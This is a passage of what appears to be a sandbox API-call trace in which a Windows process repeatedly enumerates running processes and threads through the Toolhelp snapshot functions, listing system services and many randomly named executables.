lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0120.392] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0120.393] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0120.394] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.395] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.396] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.397] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.398] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.399] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0120.400] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.401] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.401] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0120.402] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.403] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0120.404] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0120.405] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0120.406] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0120.407] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0120.408] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0120.409] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0120.409] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0120.410] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0120.411] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0120.412] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0120.413] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0120.414] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0120.414] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0120.415] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0120.416] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0120.417] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0120.418] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0120.419] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0120.419] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0120.420] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0120.421] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0120.422] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0120.423] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0120.435] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0120.435] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0120.436] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0120.437] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0120.438] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.439] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0120.440] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.441] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0120.442] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0120.443] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0120.444] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0120.445] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0120.445] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.446] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0120.447] CloseHandle (hObject=0x56c) returned 1 [0120.447] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x56c [0120.449] Thread32First (hSnapshot=0x56c, lpte=0x4f1f308) returned 1 [0121.797] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0121.799] Process32FirstW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.800] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0121.801] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0121.801] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0121.802] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0121.803] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0121.804] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0121.805] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0121.806] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0121.807] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0121.808] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.808] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.809] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.810] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.811] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.812] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0121.813] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.814] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.815] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0121.816] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.817] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0121.817] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0121.818] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0121.819] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0121.820] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0121.821] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0121.822] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0121.823] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0121.824] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0121.825] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, 